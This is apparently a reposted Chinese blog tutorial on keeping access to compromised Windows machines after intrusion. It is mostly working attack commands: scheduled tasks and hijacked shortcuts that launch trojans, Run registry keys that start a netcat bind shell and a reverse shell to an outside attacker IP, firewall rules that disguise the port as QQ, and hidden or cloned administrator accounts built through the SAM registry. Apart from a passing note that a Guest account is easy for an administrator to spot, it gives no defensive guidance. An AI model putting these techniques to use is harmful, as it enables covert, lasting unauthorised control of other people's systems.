windows系统后渗透阶段权限维持方法小结

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows系统后渗透阶段权限维持方法小结相关的知识,希望对你有一定的参考价值。

前言

归纳下windows系统维持权限的方法

1、schtasks 计划任务

schtasks 是 Windows 自带的命令,使用 schtasks 命令创建计划任务

下面这句的意思是创建一个名称是 test 的计划任务,每隔一分钟去运行一次 5555.exe 文件:

schtasks /create /sc MINUTE /mo 1 /tr C:\\Users\\Administrator\\Desktop\\mx\\5555.exe /tn test

提前使用 msf 或者 nc 监听上传到目标机器的 5555.exe 木马文件,等到任务自动开始执行后,攻击机就会收到反弹的shell

2、快捷方式劫持

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用,快捷方式的文件扩展名是.LNK

  • 右键查看软件的属性中的快捷方式的目标路径
  • 将下面的命令修改到"目标"输入框并保存
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c "invoke-item 'C:\\phpstudy_pro\\COM\\phpstudy_pro.exe'; invoke-item c:\\windows\\system32\\calc.exe"

这个指令里

  • 第一个 invoke-item 后面写软件本身的路径
  • 第二个 invoke-item 后面写要打开的木马文件,这里是以打开计算器为例

意思是使用 powershell 打开原来的软件本身的同时打开计算器,后者可以修改为上传到目标机器的木马文件或者恶意命令等。用 msf 、nc等提前监听好木马文件的端口,受害机器打开软件后就会反弹 shell

注意:通过这种方式劫持快捷方式会将原应用图标自动修改为 powershell 的图标,所及修改完毕后记得更改一下图标

3、开机自启动注册表项

以下注册表项中的内容(键值)会在开机的时候按照顺序自动启动。因此留后门的思路就是在这些注册表项中添加内容,让它在开机的时候自动启动。

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run

(1)手动修改

以上面的第一个注册表项为例,在右侧右键 -> 新建 -> 字符串值 -> 填写名称和要执行的程序或命令

攻击机器使用 msf 监听木马文件内设置的 4444 端口,然后等待目标机器启动,木马文件就会自动运行,攻击机器 msf 成功拿到 shell

(2)使用 msf 自动修改注册表,添加 nc 后门

msf 拿到目标机器的 meterpreter 之后(system权限),进入 meterpreter,然后依次执行下面命令:

# 将 nc 文件从攻击机上传到目标机
upload /root/nc.exe C:\\\\Windows\\\\system32

# 进入cmd交互环境
shell

# 查询下面这个注册表项下的键值
reg query HKLM\\software\\microsoft\\windows\\currentversion\\run

# 在这个注册表项中添加键值,名称是 nc ,值是 nc 的路径,并开启 5555 端口进行正向连接
reg add HKLM\\software\\microsoft\\windows\\currentversion\\run /v nc /t REG_SZ /d "C:\\windows\\system32\\nc.exe -Ldp 5555 -e cmd.exe"

# 查询 nc 键值是否添加成功
reg query HKLM\\software\\microsoft\\windows\\currentversion\\run /v nc

# 查看目标机器防火墙是否开启
netsh firewall show opmode

# 设置防火墙不拦截 5555 端口,并将端口伪装成 QQ
netsh firewall add portopening TCP 5555 "QQ" ENABLE ALL

# 重启目标机器
shutdown /r /f /t 0

目标机器重启后就可以看到 nc 已经自动启动(我这里是64位的版本)。

此时在攻击机使用 nc 去正向连接即可,ip 是目标机器的 ip

nc 192.168.1.62 5555

真实渗透场景中,攻击机可能不能直接访问内网的目标机器,所以也可以使用反向 shell

在上面添加注册表那一步的时候,将 nc 的命令修改为如下,ip 是攻击机的 IP:

C:\\windows\\system32\\nc.exe -e cmd.exe -d 147.35.24.6 5555

攻击机在后台监听,等待目标机器上线

nc -lvvp 5555

(3)补充

除了上面的5个注册表项,还有以下也可以

# 仅会被自动执行一次
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce

# 程序会在系统加载时自动启动执行一次
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce

# RunServices是继RunServicesOnce之后启动的程序
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices

4、后门账号

(1)添加隐藏账户

这种方式在命令行中 net user 不能看到创建的用户,但是在 控制面板 - 用户账户 中可以看到,同样在机器重启登录的时候也能看到这个用户,所以…这不算真正的隐藏

# 添加后门账户 test1$
net user test1$ passwd123 /add

# 后门账户添加到管理员组
net localgroup administrators test1$ /add

与创建普通账户的区别就是在用户名后面加了个 ‘$’ 符号

(2)激活Guest用户

Guest 用户在 Windows 上默认是不开启的,可以把他开启并添加到管理员组,但是被管理员发现的话还是很容易删除

# 设置 guest 账户密码
net user guest passwd123

# guest 账户添加到管理员组
net localgroup administrators guest /add

# 激活账户
net user guest /active:yes

(3)克隆账户

这种方式隐藏算是比较稳妥的办法。用’$'创建匿名用户,并归到 administrators 用户组

net user test2$ passwd123 /add /y
net localgroup administrators test2$ /add

打开注册表,依次进入如下路径

HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names

创建的 test2$ 用户类型为 0x3ec,在左侧有对应的一个 000003EC,同样的 Administrator 用户的类型也对应一个 000001F4

将 3.reg 的 F 值替换到 2.reg,也就是 Administrator 用户的 F 值替换给 test2$ 用户

  • 在 test2$ 上右键 -> 导出,保存为 1.reg 文件
  • 在 000003EC 上右键 -> 导出,保存为 2.reg 文件
  • 在 000001F4 上右键 -> 导出,保存为 3.reg 文件

删除 test2$ 用户

net user test2$ /del

在保存 reg 文件的目录打开命令行,导入修改后的 test2$ 用户注册表信息

regedit /s 1.reg
regedit /s 2.reg

此时无论是 net user 、控制面板、登陆页面都无法看到 test2$ 用户

只有知道具体的用户名,通过 net user test2$ 命令才可以看到它的详细信息。此时就隐藏并克隆继承了 Administrator 的全部权限

除此之外,维持权限还有很多方法,例如系统工具替换成 cmd.exe(沾滞键、讲述人等),msf 维权模块、meterpreter 的一些方法等等,

结语

归纳了下一些常见的windows系统维持权限的方法

以上是关于windows系统后渗透阶段权限维持方法小结的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:权限维持方法小结

内网渗透系列:权限维持方法小结

全!最新Windows后渗透之权限维持

后渗透之权限维持——隐藏用户的创建和使用(全程干货)

内网渗透系列:权限提升方法小结

内网渗透系列:权限提升方法小结